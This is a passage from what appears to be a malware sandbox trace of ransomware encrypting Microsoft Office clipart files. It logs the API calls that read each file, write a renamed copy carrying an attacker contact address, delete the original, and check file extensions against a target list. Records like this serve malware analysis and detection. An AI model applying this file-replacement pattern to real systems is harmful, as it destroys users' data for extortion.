lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.243] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0166.251] GetLastError () returned 0x0 [0166.251] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0166.253] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0166.254] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.254] WriteFile (in: hFile=0x360, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.254] SetEndOfFile (hFile=0x360) returned 1 [0166.260] CloseHandle (hObject=0x360) returned 1 [0166.261] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.261] SetEndOfFile (hFile=0x2e8) returned 1 [0166.266] CloseHandle (hObject=0x2e8) returned 1 [0166.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0166.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.270] lstrlenW (lpString=".doc") returned 4 [0166.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.270] lstrlenW (lpString=".docx") returned 5 [0166.270] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.270] lstrlenW (lpString=".pdf") returned 4 [0166.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.270] lstrlenW (lpString=".xls") returned 4 [0166.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.271] lstrlenW (lpString=".xlsx") returned 5 [0166.271] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.271] lstrlenW (lpString=".ppt") returned 4 [0166.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".zip") returned 4 [0166.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.271] lstrlenW (lpString=".rar") returned 4 [0166.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".bz2") returned 4 [0166.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".7z") returned 3 [0166.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".dbf") returned 4 [0166.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".1cd") returned 4 [0166.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".jpg") returned 4 [0166.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".doc") returned 4 [0166.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".docx") returned 5 [0166.271] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0166.271] lstrlenW (lpString=".pdf") returned 4 [0166.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".xls") returned 4 [0166.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.271] lstrlenW (lpString=".xlsx") returned 5 [0166.271] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0166.271] lstrlenW (lpString=".ppt") returned 4 [0166.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".zip") returned 4 [0166.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.271] lstrlenW (lpString=".rar") returned 4 [0166.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".bz2") returned 4 [0166.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.271] lstrlenW (lpString=".7z") returned 3 [0166.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.271] lstrlenW (lpString=".dbf") returned 4 [0166.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.272] lstrlenW (lpString=".1cd") returned 4 [0166.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0166.272] lstrlenW (lpString=".jpg") returned 4 [0166.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.272] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.272] lstrlenW (lpString="J0105376.WMF") returned 12 [0166.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.276] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=4964) returned 1 [0166.276] CloseHandle (hObject=0x3ac) returned 1 [0166.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0166.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.280] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.280] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0166.293] GetLastError () returned 0x0 [0166.293] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1364, lpOverlapped=0x0) returned 1 [0166.296] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1370, lpOverlapped=0x0) returned 1 [0166.296] ReadFile (in: hFile=0x394, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.297] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.297] SetEndOfFile (hFile=0x370) returned 1 [0166.300] CloseHandle (hObject=0x370) returned 1 [0166.302] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.302] SetEndOfFile (hFile=0x394) returned 1 [0166.310] CloseHandle (hObject=0x394) returned 1 [0166.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0166.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".doc") returned 4 [0166.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".docx") returned 5 [0166.315] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.315] lstrlenW (lpString=".pdf") returned 4 [0166.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".xls") returned 4 [0166.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.315] lstrlenW (lpString=".xlsx") returned 5 [0166.315] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.315] lstrlenW (lpString=".ppt") returned 4 [0166.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".zip") returned 4 [0166.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.315] lstrlenW (lpString=".rar") returned 4 [0166.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".bz2") returned 4 [0166.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".7z") returned 3 [0166.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".dbf") returned 4 [0166.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".1cd") returned 4 [0166.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".jpg") returned 4 [0166.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.315] lstrlenW (lpString=".doc") returned 4 [0166.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".docx") returned 5 [0166.315] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.315] lstrlenW (lpString=".pdf") returned 4 [0166.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.315] lstrlenW (lpString=".xls") returned 4 [0166.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.315] lstrlenW (lpString=".xlsx") returned 5 [0166.315] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.315] lstrlenW (lpString=".ppt") returned 4 [0166.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.316] lstrlenW (lpString=".zip") returned 4 [0166.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.316] lstrlenW (lpString=".rar") returned 4 [0166.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.316] lstrlenW (lpString=".bz2") returned 4 [0166.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.316] lstrlenW (lpString=".7z") returned 3 [0166.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.316] lstrlenW (lpString=".dbf") returned 4 [0166.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.316] lstrlenW (lpString=".1cd") returned 4 [0166.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0166.316] lstrlenW (lpString=".jpg") returned 4 [0166.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.316] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.316] lstrlenW (lpString="J0105386.WMF") returned 12 [0166.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0166.317] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5980) returned 1 [0166.317] CloseHandle (hObject=0x388) returned 1 [0166.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0166.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.331] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.331] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.339] GetLastError () returned 0x0 [0166.339] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x175c, lpOverlapped=0x0) returned 1 [0166.341] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1760, lpOverlapped=0x0) returned 1 [0166.342] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.342] WriteFile (in: hFile=0x364, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.342] SetEndOfFile (hFile=0x364) returned 1 [0166.347] CloseHandle (hObject=0x364) returned 1 [0166.349] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.349] SetEndOfFile (hFile=0x330) returned 1 [0166.354] CloseHandle (hObject=0x330) returned 1 [0166.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.372] lstrlenW (lpString=".doc") returned 4 [0166.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString=".docx") returned 5 [0166.372] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.372] lstrlenW (lpString=".pdf") returned 4 [0166.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString=".xls") returned 4 [0166.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.372] lstrlenW (lpString=".xlsx") returned 5 [0166.372] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.372] lstrlenW (lpString=".ppt") returned 4 [0166.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.372] lstrlenW (lpString=".zip") returned 4 [0166.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.372] lstrlenW (lpString=".rar") returned 4 [0166.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString=".bz2") returned 4 [0166.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString=".7z") returned 3 [0166.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.372] lstrlenW (lpString=".dbf") returned 4 [0166.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.372] lstrlenW (lpString=".1cd") returned 4 [0166.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".jpg") returned 4 [0166.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".doc") returned 4 [0166.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString=".docx") returned 5 [0166.373] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0166.373] lstrlenW (lpString=".pdf") returned 4 [0166.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString=".xls") returned 4 [0166.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.373] lstrlenW (lpString=".xlsx") returned 5 [0166.373] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0166.373] lstrlenW (lpString=".ppt") returned 4 [0166.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".zip") returned 4 [0166.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.373] lstrlenW (lpString=".rar") returned 4 [0166.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString=".bz2") returned 4 [0166.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString=".7z") returned 3 [0166.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".dbf") returned 4 [0166.373] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".1cd") returned 4 [0166.373] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0166.373] lstrlenW (lpString=".jpg") returned 4 [0166.373] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.374] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.374] lstrlenW (lpString="J0105398.WMF") returned 12 [0166.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0166.381] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3328) returned 1 [0166.381] CloseHandle (hObject=0x354) returned 1 [0166.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0166.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.437] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.438] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 